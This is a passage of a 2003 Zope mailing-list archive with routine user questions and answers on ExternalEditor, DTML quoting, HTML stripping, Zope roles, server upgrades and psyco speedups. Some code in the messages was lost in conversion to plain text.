------=_NextPart_000_0000_01C35C00.01220CF0-- From jmeile@hotmail.com Wed Aug 6 09:33:32 2003 From: jmeile@hotmail.com (Josef Meile) Date: Wed, 6 Aug 2003 10:33:32 +0200 Subject: [Zope] Re: ExternalEditor doesn't launch my .doc files (solved) Message-ID: > ergh... did anyone ever figure out exactly what was going on here? I'm > I'm now getting the same error-- despite uninstalling and reinstalling the > helper app on windows multiple times. > > I'm running Zope 2.6.2b4, CMF 1.3.1, Plone 1.0.3, EE 0.7 > Zope's on linux, though I'm (obviously, I suppose) trying to open Word > documents on a Windows 2000 machine. > > any hints would be greatly appreciated.... Hi Larry, I think there is a problem with the binaries included in the helper app because I had to install it as follows (please note that I test two windows 2000 machines and both of them had the same problem): 1) Install the helper app 2) Install python 2.2.x 3) Install the Python Win32 Extensions for Python 2.2 It seems that the last step replaces the dlls included with zopeedit and repares the problem; however, there is other problems you should know: 1) If you exit from word, excel, or powerpoint without saving changes before, it doesn't matters if you answer the question "Do you want to save changes?" with "Yes", your document won't be saved into the ZODB. So, you had better save before exiting. 2) You had better not work with Excel documents. The first time it will work perfectly, but when trying to edit the sheet a second time, you will get an error message: "FATAL ERROR: (-2147418111, 'Call was rejected by calle.', None, None) and if you are working with webdav locks, the lock won't get away, even if you restart zope. I have already wrote an e-mail to the author, but I didn't get an answer. I guess it's difficult to fix it since it seems that Microsoft doesn't follows the Webdav standard. Anyway, if you're wondering about my "ZopeEdit.ini", here it's: [general] editor = "C:\Program Files\Windows NT\Accessories\wordpad.exe" "%1" save_interval = 1 cleanup_files = 1 use_locks = 0 always_borrow_locks = 1 reload_on_save = 1 [content-type:application/msword] extension=.doc editor = "C:\Program Files\Microsoft Office\Office\WINWORD.EXE" "%1" [content-type:application/vnd.ms-excel] extension=.xls editor = "C:\Program Files\Microsoft Office\Office\EXCEL.EXE" "%1" [content-type:application/x-msexcel] extension=.xls editor = "C:\Program Files\Microsoft Office\Office\EXCEL.EXE" "%1" [content-type:application/vnd.ms-powerpoint] extension=.ppt editor = "C:\Program Files\Microsoft Office\Office\POWERPNT.EXE" "%1" [content-type:application/x-mspowerpoint] extension=.ppt editor = "C:\Program Files\Microsoft Office\Office\POWERPNT.EXE" "%1" Regards, Josef From mohd_ismbe@yahoo.com Wed Aug 6 10:20:37 2003 From: mohd_ismbe@yahoo.com (mohammed ismail) Date: Wed, 6 Aug 2003 02:20:37 -0700 (PDT) Subject: [Zope] Please help Urgently Message-ID: <20030806092037.32144.qmail@web12604.mail.yahoo.com>


The above code will list checkbox and corresponding objectIds example checkbox obj1 checkbox obj2 checkbox obj3 ...... ...... DELETE BUTTON I am passing the form ObjectIds to page template code shown below

Id Deleted

Delete
Now when i select the checkbox & click on DELETE BUTTON obj1 should get deleted.same thing follows for other objects.Please suggest me what changes should i make in the above code to get the output.Pleas send me the reply as early as possible. __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From chrisw@nipltd.com Wed Aug 6 12:26:51 2003 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 06 Aug 2003 12:26:51 +0100 Subject: [Zope] Don't use irritating subject lines like "Please help Urgently" ! In-Reply-To: <20030806092037.32144.qmail@web12604.mail.yahoo.com> References: <20030806092037.32144.qmail@web12604.mail.yahoo.com> Message-ID: <3F30E5FB.9020105@nipltd.com> mohammed ismail wrote: >

Your action attribute is somewhat dubious. I'd make it a full URL if I were you... > > I'd change that name to "ids:list", so you always end up with a REQUEST variable called ids that is a list of strings ids of objects to delete. >


> >
> VALUE="Delete"> >
Don't give your tag a name like that, it's not clever... >
>

Id > Deleted

> Delete >
This is truly truly evil. This should all be in a python script. DON'T put logic in ZPT. > Now when i select the checkbox & click on DELETE > BUTTON obj1 should get deleted.same thing follows for > other objects.Please suggest me what changes should i > make in the above code to get the output.Pleas send me > the reply as early as possible. You need to brush up on your list etiquette. You're not paying us (yet ;-) so demanding a reply ASAP and using a silly subject line will not get you help. Suggest you go and read a bit more of the Zope Book on zope.org, have a look at a few more examples, and then come back and start asking questions about specific problems rather than dumping a load of half formed code in an email and expecting others to do your work for you ;-) Chris From chrisw@nipltd.com Wed Aug 6 12:30:06 2003 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 06 Aug 2003 12:30:06 +0100 Subject: [Zope] Strip all HTML In-Reply-To: <200308051226.h75CQrP76717@zope.config.com> References: <200308051226.h75CQrP76717@zope.config.com> Message-ID: <3F30E6BE.6070208@nipltd.com> ken@practical.org wrote: > However this converter, like the others I have tried (Strip-o-Gram, as well as an external method based on striphtml.py), seem unable to remove the content of or tags. So I get plenty of hits with a search for 'children' or 'window' or 'background'... I beg to differ: Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> from stripogram import html2text >>> html = "seem unable to remove the content of or " >>> html2text(html) 'seem unable to remove the content of stuff or more stuff' >>> How are you using stripogram? cheers, Chris From chrisw@nipltd.com Wed Aug 6 12:32:52 2003 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 06 Aug 2003 12:32:52 +0100 Subject: [Zope] Strip all HTML In-Reply-To: References: <200308051547.h75FlcP77658@zope.config.com> Message-ID: <3F30E764.7040004@nipltd.com> Alex Coventry wrote: > > malicious code"> Click here What would you expect to have happen here? cheers, Chris From chrisw@nipltd.com Wed Aug 6 12:34:19 2003 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 06 Aug 2003 12:34:19 +0100 Subject: [Zope] Strip all HTML In-Reply-To: <1060099901.12779.945.camel@ida.dylanreinhardt.com> References: <200308051547.h75FlcP77658@zope.config.com> <1060099901.12779.945.camel@ida.dylanreinhardt.com> Message-ID: <3F30E7BB.9070205@nipltd.com> Dylan Reinhardt wrote: > > By default, Python Scripts restrict what you can do. You'll either need > to run that code in an external method or configure Zope to allow re > (and creation of re objects, IIRC) in Python scripts. My memory tells me that I spent a fair bit of time making the stripogram functions work from restricted python space, so I would suggets that as the way to go. I'm not sure exactly what ken is trying to achieve, or how he tried stripogram, but I'd be suprised if it didn't support what he wanted to do... cheers, Chris From chrisw@nipltd.com Wed Aug 6 12:35:05 2003 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 06 Aug 2003 12:35:05 +0100 Subject: [Zope] Should everyone always have 'Anonymous' role? In-Reply-To: <3F2FAF8B.4050402@upfrontsystems.co.za> References: <3F2FAF8B.4050402@upfrontsystems.co.za> Message-ID: <3F30E7E9.2080709@nipltd.com> Jean Jordaan wrote: > this comma-delimited list. Zope expects all users - > anonymous as well as authenticated - to have the role > Anonymous. > > I wasn't aware of that. Why does an authenticated user need > to have Anonymous as a role? I suspect that's a bug in LDAPUserFolder, I'd let the author know ;-) Chris From chrisw@nipltd.com Wed Aug 6 12:38:39 2003 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 06 Aug 2003 12:38:39 +0100 Subject: [Zope] CacheManager missing in 2.6.2b4 :-( In-Reply-To: <20030805212950.GC22389@audible.transient.net> References: <3F2F97BC.2030008@nipltd.com> <20030805115333.GA22389@audible.transient.net> <3F2FC5EB.1090101@nipltd.com> <20030805212950.GC22389@audible.transient.net> Message-ID: <3F30E8BF.9070809@nipltd.com> Jamie Heilman wrote: > any zope list archive (though marc appears to be up for me) > subject is "caching in zope; tips, tricks, & lessons learned" > a google search on the phrase will give you a good number of options Had a look, wow, that does suck :-( What's the best way we can fix the problems you describe? cheers, Chris From chrisw@nipltd.com Wed Aug 6 12:39:53 2003 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 06 Aug 2003 12:39:53 +0100 Subject: [Zope] International character display from Oracle database In-Reply-To: <603069843.1060104148@ilrt-kamino.ilrt.bris.ac.uk> References: <603069843.1060104148@ilrt-kamino.ilrt.bris.ac.uk> Message-ID: <3F30E909.9040008@nipltd.com> Dominic Hiles wrote: > However, when retrieving the data using the above configuration, Greek > characters are replaced with question marks (which can be verified as > simple question marks in the page source). Has anyone else experienced > this problem? Are you setting the correct character encoding in your HTML? cheers, Chris From rmckanry@yahoo.com Wed Aug 6 13:12:38 2003 From: rmckanry@yahoo.com (Rex McKanry) Date: Wed, 6 Aug 2003 05:12:38 -0700 (PDT) Subject: [Zope] spaces in postgres data field Message-ID: <20030806121238.23057.qmail@web14511.mail.yahoo.com> Hi all, I'm having an odd problem with zope. I'm using a postgres database to store address of employees. When I get the data from the database it drop off after the first space. and example would be if the address is 1234 candykane Ln. my text box on the screen would show 1234 only. The text box is set for 30 characters and I've tested the SQL statement in zope and I see it pulls in the full address spaces and all. The code looks something like this: SQL: select * from employee_records where (employee_id=) DTML: size="30"> I don't have the code right in front of me but that's pretty close. I've put under lines in the data base to take out the spaces and all the information shows up, which means that the full address is being passed. Thanks, Rex __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From Dominic.Hiles@bristol.ac.uk Wed Aug 6 13:12:04 2003 From: Dominic.Hiles@bristol.ac.uk (Dominic Hiles) Date: Wed, 06 Aug 2003 13:12:04 +0100 Subject: [Zope] International character display from Oracle database In-Reply-To: <3F30E909.9040008@nipltd.com> References: <3F30E909.9040008@nipltd.com> Message-ID: <674447500.1060175524@ilrt-kamino.ilrt.bris.ac.uk> Hi Chris, The problem seems to be happening before the content is rendered on the page, rather than being related to the page presentation - I can add the correct characters as plain text on the same page without any issues. Cheers, Dominic --On 06 August 2003 12:39 +0100 Chris Withers wrote: > Dominic Hiles wrote: >> However, when retrieving the data using the above configuration, Greek >> characters are replaced with question marks (which can be verified as >> simple question marks in the page source). Has anyone else experienced >> this problem? > > Are you setting the correct character encoding in your HTML? > > cheers, > > Chris > > From Ian.Sealy@bristol.ac.uk Wed Aug 6 13:19:59 2003 From: Ian.Sealy@bristol.ac.uk (Ian Sealy) Date: Wed, 6 Aug 2003 13:19:59 +0100 (BST) Subject: [Zope] spaces in postgres data field In-Reply-To: <20030806121238.23057.qmail@web14511.mail.yahoo.com> Message-ID: Dear Rex, > I'm having an odd problem with zope. I'm using a > postgres database to store address of employees. When > I get the data from the database it drop off after the > first space. and example would be if the address is > 1234 candykane Ln. my text box on the screen would > show 1234 only. > > The text box is set for 30 characters and I've tested > the SQL statement in zope and I see it pulls in the > full address spaces and all. > > The code looks something like this: > SQL: > select * from employee_records where > (employee_id=) > > DTML: > > size="30"> > > > I don't have the code right in front of me but that's > pretty close. I've put under lines in the data base to > take out the spaces and all the information shows up, > which means that the full address is being passed. Are you sure size="30"> isn't size="30"> ? Anyway, the latter would produce (for example): So the value would indeed be 1234. Try putting some quotes round it. That is: You also need to quote any HTML in address1. Otherwise you'll have problems with addresses that contains quotes and other HTML characters. So: Cheers, Ian -- Dr Ian Sealy Internet Development Institute for Learning and Research Technology University of Bristol From lsh@wo.cz Wed Aug 6 13:44:33 2003 From: lsh@wo.cz (Jaroslav Lukesh) Date: Wed, 6 Aug 2003 14:44:33 +0200 Subject: [Zope] From FTP to FTP copy support? Message-ID: <20030806123452.74417100A92C@webproxy.k-net.cz> Hi all, it is possible to push zope FTP client to copy from one Zope FTP session to another FTP session? Note that I have FTP client that knows that FTP servers control. Many thanks, J. Lukesh From lluporini@yahoo.com.ar Wed Aug 6 16:07:00 2003 From: lluporini@yahoo.com.ar (Luis Mariano Luporini) Date: Wed, 06 Aug 2003 12:07:00 -0300 Subject: [Zope] Extrange behavior with numeric datatypes and decimal places In-Reply-To: <3F2DD78B.5090903@yahoo.com.ar> References: <3F2DD78B.5090903@yahoo.com.ar> <3F2E3C55.1070306@nipltd.com> <3F2E647F.6010804@yahoo.com.ar> <3F2F824B.3070009@nipltd.com> Message-ID: <3F311994.4050607@yahoo.com.ar> Chris: That is the code I'm having problems with. If I run that in psql, I get the number of decimal places specified by the numeric casting but, if I run it in a zsql I get just un decimal place regardless of what is specified in the cast operation. As suggested by Neil Smith in the zope-db list I could use a formating mask in dtml or zpt but I think that default behavior should be to left the query as it is. Thanks for your reply. Luis. Chris Withers wrote: > Luis Mariano Luporini wrote: > >> I've put "select 3::numeric(10,2)" in a zsql method, in a zpt that >> calls that method > > > This is the code you want to fix. What is the code you currently have? > > Chris > From phil@harris-family.info Wed Aug 6 16:13:13 2003 From: phil@harris-family.info (Phil Harris) Date: Wed, 06 Aug 2003 16:13:13 +0100 Subject: [Zope] Re: [Plone-users] Use of psyco to speed up zope/plone In-Reply-To: <20030806135743.GA11287@bogomip.com> References: <20030806135743.GA11287@bogomip.com> Message-ID: Shane, I tried it and get similar speedups as you. Just adding my 2c. Phil On Wed, 6 Aug 2003 07:57:43 -0600, wrote: > recently I added two linesas a test to my zope-z2 file, above all else > > import psyco > psyco.profile() > > my access times locally went from 2.4 seconds to list a plone directory > w/ my own template, to around .8 seconds. > > Anybody else feel like giving thisa shot.. maybe we can get some real > benchmarks on this? > > hardwire > > > ------------------------------------------------------- > This SF.Net email sponsored by: Free pre-built ASP.NET sites including > Data Reports, E-commerce, Portals, and Forums are available now. > Download today and enter to win an XBOX or Visual Studio .NET. > http://aspnet.click- > url.com/go/psa00100003ave/direct;at.aspnet_072303_01/01 > _______________________________________________ > Plone-users mailing list > Plone-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/plone-users > > -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ From jean@upfrontsystems.co.za Wed Aug 6 16:13:20 2003 From: jean@upfrontsystems.co.za (Jean Jordaan) Date: Wed, 06 Aug 2003 17:13:20 +0200 Subject: [Zope] Should everyone always have 'Anonymous' role? In-Reply-To: <3F30E7E9.2080709@nipltd.com> References: <3F2FAF8B.4050402@upfrontsystems.co.za> <3F30E7E9.2080709@nipltd.com> Message-ID: <3F311B10.40407@upfrontsystems.co.za> > I suspect that's a bug in LDAPUserFolder, I'd let the author know ;-) So did I, and I did, but Jens is positive it's needed. From our mails: """ Anonymous *must always be there* for Zope to work correctly. Taking it out leads to a lot of breakage all over. [...] That test is simply flawed. Test for "Authenticated" instead. There is nowhere where this can be found in the docs I believe, I found it by trial and error. """ -- Jean Jordaan http://www.upfrontsystems.co.za From roel@planetinterior.com Wed Aug 6 16:25:20 2003 From: roel@planetinterior.com (Roel Van den Bergh) Date: Wed, 6 Aug 2003 17:25:20 +0200 Subject: [Zope] Reinstall system for use with Zope Message-ID: Hi all, during the holidays our server went down: two drives of a raid-5 system on a PowerApp 120 failed. It seems our server kept running solely on it's RAM memory, but it finally died this morning. Mayor bummer because I have to reinstall everything from scratch, there goes my weekend. We were using zope 2.5.1 and CMF 1.3 with Apache 1.3.23 on RedHat 7.3 Our Data.fs file has been backed up, I hope we can recuperate that one :-) We now have the opportunity to upgrade to whatever is best. Here are some questions: 1. I'm not sure wheiter to use RH7.3, 8.0 or 9.0 (I've seen some issues with 9.0 on the mailing list) 2. Also I'm thinking of installing Zope 2.6.1 or 2.6.2b5 in stead of 2.5.1. 3. Is there a difference between Apache 1.3.X and Apache 2.X regarding the communication with Zope? Any suggestions are very welcome. WKR, Roel. - - - Roel Van den Bergh This email and any attached files are confidential and may be legally privileged. If you are not the intended recipient, any disclosure, reproduction, copying, distribution, or other dissemination or use of this communication is strictly prohibited. If you have received this transmission in error please notify the sender immediately and then delete this email. Email transmission cannot be guaranteed to be secure or error free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender therefore is in no way liable for any errors or omissions in the content of this message, which may arise as a result of email transmission. If verification is required, please request a hard copy. From Jean-Francois.Doyon@CCRS.NRCan.gc.ca Wed Aug 6 16:28:30 2003 From: Jean-Francois.Doyon@CCRS.NRCan.gc.ca (Jean-Francois.Doyon@CCRS.NRCan.gc.ca) Date: Wed, 6 Aug 2003 11:28:30 -0400 Subject: [Zope] Reinstall system for use with Zope Message-ID: <7CDD7B94357FD5119E800002A537C46E23091E@s5-ccr-r1.ccrs.nrcan.gc.ca> Well, I know 9.0 is bad because of a bug in the threading library ... Not recommended for running long running python processes such as Zope. I've been running 7.3 for a while now and it's proven very solid, so I'm not moving off of it until the new kernel distro's start coming out next year. As for Apache, I just did a test with 2.0.47 vs 1.3.28 ... Works much the same way, except that caching is experimental and does not work properly. I had to go back to 1.3.28 because the 2.0.47 cache module was caching all sorts of things it wasn't supposed to. If you don't use Apache's cache, but just do the proxying part (Or maybe use Squid for the caching), then you're ok. As for 2.6.1, it's a good upgrade, I did it a while back. Theres just one bug related to packing your Data.fs after an undo (It corrupts the Data.fs) that os truly scary. Otherwise it works fine. Might want to look at CMF 1.4 too ? Good luck! J.F. -----Original Message----- From: Roel Van den Bergh [mailto:roel@planetinterior.com] Sent: Wednesday, August 06, 2003 11:25 AM To: Zope Org Subject: [Zope] Reinstall system for use with Zope Hi all, during the holidays our server went down: two drives of a raid-5 system on a PowerApp 120 failed. It seems our server kept running solely on it's RAM memory, but it finally died this morning. Mayor bummer because I have to reinstall everything from scratch, there goes my weekend. We were using zope 2.5.1 and CMF 1.3 with Apache 1.3.23 on RedHat 7.3 Our Data.fs file has been backed up, I hope we can recuperate that one :-) We now have the opportunity to upgrade to whatever is best. Here are some questions: 1. I'm not sure wheiter to use RH7.3, 8.0 or 9.0 (I've seen some issues with 9.0 on the mailing list) 2. Also I'm thinking of installing Zope 2.6.1 or 2.6.2b5 in stead of 2.5.1. 3. Is there a difference between Apache 1.3.X and Apache 2.X regarding the communication with Zope? Any suggestions are very welcome. WKR, Roel. - - - Roel Van den Bergh This email and any attached files are confidential and may be legally privileged. If you are not the intended recipient, any disclosure, reproduction, copying, distribution, or other dissemination or use of this communication is strictly prohibited. If you have received this transmission in error please notify the sender immediately and then delete this email. Email transmission cannot be guaranteed to be secure or error free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender therefore is in no way liable for any errors or omissions in the content of this message, which may arise as a result of email transmission. If verification is required, please request a hard copy. _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From Jean-Francois.Doyon@CCRS.NRCan.gc.ca Wed Aug 6 17:01:51 2003 From: Jean-Francois.Doyon@CCRS.NRCan.gc.ca (Jean-Francois.Doyon@CCRS.NRCan.gc.ca) Date: Wed, 6 Aug 2003 12:01:51 -0400 Subject: [Zope] Re: [Plone-users] Use of psyco to speed up zope/plone Message-ID: <7CDD7B94357FD5119E800002A537C46E23091F@s5-ccr-r1.ccrs.nrcan.gc.ca> Hello, Interesting! I'm going to give it a try, anything to speed up my Zope is good :) Though I haven't benchmarked, I've just tried running it, and got a warning in my zope log file: /usr/local/Zope-2.6.1/lib/python/RestrictedPython/compiler_2_1/transformer.p y:670: warning: eval()/execfile() cannot see the locals in functions bound by Psyco; consider using eval() in its two- or three-arguments form def atom_string(self, nodelist): I'm guessing this isn't a problem per say, but simply something that psyco can't optimize. Man, it's not an official benchmark, but it DOES seem to be noticeably faster from just my using my site! Thanks for this! Cheers, J.F. -----Original Message----- From: Phil Harris [mailto:phil@harris-family.info] Sent: Wednesday, August 06, 2003 11:13 AM To: zope@zope.org Subject: [Zope] Re: [Plone-users] Use of psyco to speed up zope/plone Shane, I tried it and get similar speedups as you. Just adding my 2c. Phil On Wed, 6 Aug 2003 07:57:43 -0600, wrote: > recently I added two linesas a test to my zope-z2 file, above all else > > import psyco > psyco.profile() > > my access times locally went from 2.4 seconds to list a plone directory > w/ my own template, to around .8 seconds. > > Anybody else feel like giving thisa shot.. maybe we can get some real > benchmarks on this? > > hardwire > > > ------------------------------------------------------- > This SF.Net email sponsored by: Free pre-built ASP.NET sites including > Data Reports, E-commerce, Portals, and Forums are available now. > Download today and enter to win an XBOX or Visual Studio .NET. > http://aspnet.click- > url.com/go/psa00100003ave/direct;at.aspnet_072303_01/01 > _______________________________________________ > Plone-users mailing list > Plone-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/plone-users > > -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ _______________________________________________ Zope maillist - Zope@zope.org http://mail.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce http://mail.zope.org/mailman/listinfo/zope-dev ) From missive@hotmail.com Wed Aug 6 17:02:06 2003 From: missive@hotmail.com (Lee Harr) Date: Wed, 06 Aug 2003 16:02:06 +0000 Subject: [Zope] zope book error Message-ID: Hi; Most of the zope book is working, but on one page I get an error trying to access the page: http://zope.org/Documentation/Books/ZopeBook/current/AdvZPT.stx gives: Site error This site encountered an error trying to fulfill your request. The errors were: Error Details Error Type IndexError Error Value string index out of range Thanks for your time. _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail From alex_c@MIT.EDU Wed Aug 6 17:16:38 2003 From: alex_c@MIT.EDU (Alex Coventry) Date: Wed, 06 Aug 2003 12:16:38 -0400 Subject: [Zope] ReStructuredText: why the weird hyperlink syntax Message-ID: Why does ReStructuredText use such a weird hyperlink syntax? It seems gratuitously complex. I'm probably going to start using StructuredDocument for my site instead, but I'd be interested to hear justifications for ReStructuredText's existence, if anyone here knows of any, in case I'm making a big mistake. Alex. From roel@planetinterior.com Wed Aug 6 17:21:37 2003 From: roel@planetinterior.com (Roel Van den Bergh) Date: Wed, 6 Aug 2003 18:21:37 +0200 Subject: [Zope] Re: Cookie crumbler and VHM In-Reply-To: <20030806160004.30322.67862.Mailman@mail.python.org> Message-ID: >Message: 21 >From: Bakhtiar A Hamid >To: zope@zope.org >Subject: Re: [Zope] Cookie crumbler and VHM >Date: Wed, 6 Aug 2003 13:16:55 +0800 > >On Wednesday 06 August 2003 12:26 pm, drew nichols wrote: >> Hi Chris, >> >> > What version of Apache are you using? >> >> 1.3.23 standard install on redhat 8.0 >> > >iirc, apache 1.3.23/24 has trouble handling cookies > >try other versions > >hth > Try changing the name of the cookie used by Zope. the underscore at the end can give some trouble. search the mailing list this has been reported before :-) (look closely and you can see I'm one of them LOL) KR, Roel From evan@4-am.com Wed Aug 6 17:19:43 2003 From: evan@4-am.com (Evan Simpson) Date: Wed, 06 Aug 2003 11:19:43 -0500 Subject: [Zope] Re: TALES on-error In-Reply-To: <3F3066DC.4040700@mena.org.au> References: <3F3066DC.4040700@mena.org.au> Message-ID: <3F312A9F.707@4-am.com> drew nichols wrote: > Checking the Tales.py i agree. It doesn't. > type and value are fine, but how do i get the traceback????? The actual traceback object is not accessible to untrusted code. If you really need access to it, you can probably write an External Method that uses sys.exc_info() and traceback.format_exception() to return a nicely formatted traceback string. Cheers, Evan @ 4-am From tezeta4@yahoo.com Wed Aug 6 18:25:55 2003 From: tezeta4@yahoo.com (Kidest Mamo) Date: Wed, 6 Aug 2003 10:25:55 -0700 (PDT) Subject: [Zope] can't start zope Message-ID: <20030806172555.23736.qmail@web13203.mail.yahoo.com> --0-826422216-1060190755=:23443 Content-Type: text/plain; charset=us-ascii when I was starting zope "/etc/init.d/zope srart" I got the following error Starting Zope failed no INSTANCE_HOME found , use "zopectl create" first. what I hve to to do to create sopectl??? Thanks all!!! --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-826422216-1060190755=:23443 Content-Type: text/html; charset=us-ascii
when I was starting zope "/etc/init.d/zope srart"  I got the following error
 
Starting Zope failed no INSTANCE_HOME found , use "zopectl create"
first.

 what I hve to to do to create sopectl???
 
Thanks all!!!


Do you Yahoo!?
Yahoo! SiteBuilder - Free, easy-to-use web site design software --0-826422216-1060190755=:23443-- From zope@zope.org Wed Aug 6 18:27:56 2003 From: zope@zope.org (Marcus Bergmann) Date: Wed, 06 Aug 2003 19:27:56 +0200 Subject: [Zope] (changed) cannot add ZClass instances (was cannot add STX Documents) References: <3F1D6CC5.6010104@isst.fhg.de> <16158.54073.347219.159440@gargle.gargle.HOWL> Message-ID: <3F313A9C.4060203@isst.fhg.de> Dieter Maurer wrote: > Marcus Bergmann wrote at 2003-7-22 18:56 +0200: > > I run a new 2.6.1 version and imported the user directories and the STX > > Document product from an old 2.5.0 version (via export/import not > > copying the data.fs). > > The existing STX and RSTX Documents are ok. I can view and edit them. > > But I can't add new STX or RSTX Documents. > > Has anyone an idea what I'm doing wrong? > > > > This is the traceback: > > > > Traceback (innermost last): > > Module ZPublisher.Publish, line 98, in publish > > Module ZPublisher.mapply, line 88, in mapply > > Module ZPublisher.Publish, line 39, in call_object > > Module OFS.DTMLMethod, line 126, in __call__ > > Module DocumentTemplate.DT_String, line 474, in __call__ > > Module DocumentTemplate.DT_With, line 61, in render > > Module DocumentTemplate.DT_Util, line 201, in eval > > - __traceback_info__: REQUEST > > Module , line 2, in f > > NameError: global name 'STX_Document' is not defined > > With what URL is the request made that results in this traceback? I use the pull-down-list of Zope to add these objects. > > What is the DTMLMethod used in this request. > > > It looks as if the products above were ZClasses. > Export/Import breaks inheritance between ZClasses when > base and derived class live in different products. Yes, the product is a ZClass. I imported it into the 'Products' Folder inside the 'Control_Panel'. It seems I have the problem in general. I just imported the ZSiteMap product which comes as a .zexp file, but I cannot add the new objects. I get the same message: NameError: global name 'ZSiteMapNode' is not defined (Also, an error occurred while attempting to render the standard error message.) After some restarts of the Zope server it worked temporarely. Do you have an idea? > > > Dieter Thanks, Marcus From Stefan Drees Wed Aug 6 18:34:35 2003 From: Stefan Drees (Stefan Drees) Date: Wed, 6 Aug 2003 19:34:35 +0200 Subject: [Zope] can't start zope In-Reply-To: <20030806172555.23736.qmail@web13203.mail.yahoo.com> References: <20030806172555.23736.qmail@web13203.mail.yahoo.com> Message-ID: <20030806173435.GA17573@knoten.biz> On Wed, Aug 06, 2003 at 10:25:55AM -0700 - a wonderful day - Kidest Mamo wrote: > when I was starting zope "/etc/init.d/zope srart" > I got the following error > Starting Zope failed no INSTANCE_HOME found , > use "zopectl create" first. > > what I hve to to do to create sopectl??? Ahem, it means, that You should **use** a call. Just type it at the shell prompt: zopectl create [["create" is an argument to "zopectl" a callable script/program which is (in unix tradition) a short form of zopecontrol]] All the best, Stefan Drees. -- Stefan Drees, sdrees@python.net, www.sdrees.biz Fingerprint = 516C C4EF 712A B26F 15C9 C7B7 5651 6964 D508 1B56 From Andreas Jung Wed Aug 6 18:52:15 2003 From: Andreas Jung (Andreas Jung) Date: Wed, 06 Aug 2003 19:52:15 +0200 Subject: [Zope] ReStructuredText: why the weird hyperlink syntax In-Reply-To: References: Message-ID: <2147483647.1060199535@[192.168.0.100]> --On Mittwoch, 6. August 2003 12:16 Uhr -0400 Alex Coventry wrote: > > Why does ReStructuredText use such a weird hyperlink syntax? It seems > gratuitously complex. I'm probably going to start using > StructuredDocument for my site instead, but I'd be interested to hear > justifications for ReStructuredText's existence, if anyone here knows of > any, in case I'm making a big mistake. > Accepted as it is or don't use. There has been a long discussioni on the specs of reST on the docutils list. So there is no reason to complain here about the syntax. -aj From alec.munro@eoascientific.com Wed Aug 6 18:57:46 2003 From: alec.munro@eoascientific.com (Alec Munro) Date: Wed, 06 Aug 2003 14:57:46 -0300 Subject: [Zope] Using ZReST in page templates or python scripts Message-ID: <3F31419A.8060002@eoascientific.com> Hi List, I'm wondering if there's a way to use restructuredText functionality from within a page template or python script? For example, I am storing information in a mysql database. A fair amount of this information could do with the ability to be formatted. I am hoping I can utilize restructuredText for this. I provide a through-the-web interface for editing this content, and I would like to teach my boss + coworkers simple ReST syntax, so they can edit it themselves. I would then like the either store it as is, and transform it when accessed, or transform it immeadiatly after editing, and store it that way. So a function from python that would convert ReST to HTML would really do the trick. Thanks, Alec Munro From Andreas Jung Wed Aug 6 19:02:32 2003 From: Andreas Jung (Andreas Jung) Date: Wed, 06 Aug 2003 20:02:32 +0200 Subject: [Zope] Using ZReST in page templates or python scripts In-Reply-To: <3F31419A.8060002@eoascientific.com> References: <3F31419A.8060002@eoascientific.com> Message-ID: <2147483647.1060200152@[192.168.0.100]> see doc/RESTRUCTUREDTEXT.txt -aj --On Mittwoch, 6. August 2003 14:57 Uhr -0300 Alec Munro wrote: > Hi List, > I'm wondering if there's a way to use restructuredText functionality from > within a page template or python script? For example, I am storing > information in a mysql database. A fair amount of this information could > do with the ability to be formatted. I am hoping I can utilize > restructuredText for this. I provide a through-the-web interface for > editing this content, and I would like to teach my boss + coworkers > simple ReST syntax, so they can edit it themselves. I would then like the > either store it as is, and transform it when accessed, or transform it > immeadiatly after editing, and store it that way. So a function from > python that would convert ReST to HTML would really do the trick. Thanks, > > Alec Munro > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From r.rapoport@fi.com Wed Aug 6 19:15:52 2003 From: r.rapoport@fi.com (Roy Rapoport) Date: Wed, 6 Aug 2003 11:15:52 -0700 Subject: [Zope] FQ Path Names in container Message-ID: <9529EF5D791B794DB3CFAE1635F0805B0CA94803@email.fi.com> > If you want to get substructures in Python, you can do one of > these things: > > container.A.B.C # can't go to something with a dot in the name > container.A.B['C.pdf'] > container['A']['B']['C.pdf'] > container.restrictedTraverse('A/B/C.pdf') > > Restricted traverse is probably the best way to deal with a variable > path, as you seem to have. > > See also: > http://www.zopelabs.com/cookbook/1001104105 > http://www.zopelabs.com/cookbook/1032051886 Apologies, a typo in my original example made my problem less clear. I have no problem accessing a given file, even if it has a .extension; my problem is trying to figure out how to do traversal and require it to be from the root folder, rather starting at the current directory. In other words, yes, I can do this: container.restrictedTraverse('A/B/C.pdf') But what I want to be able to do is: container.restrictedTraverse('/A/B/C.pdf'). Note the leading '/' before 'A' And, err, 'nevermind' -- I figured I might as well trawl 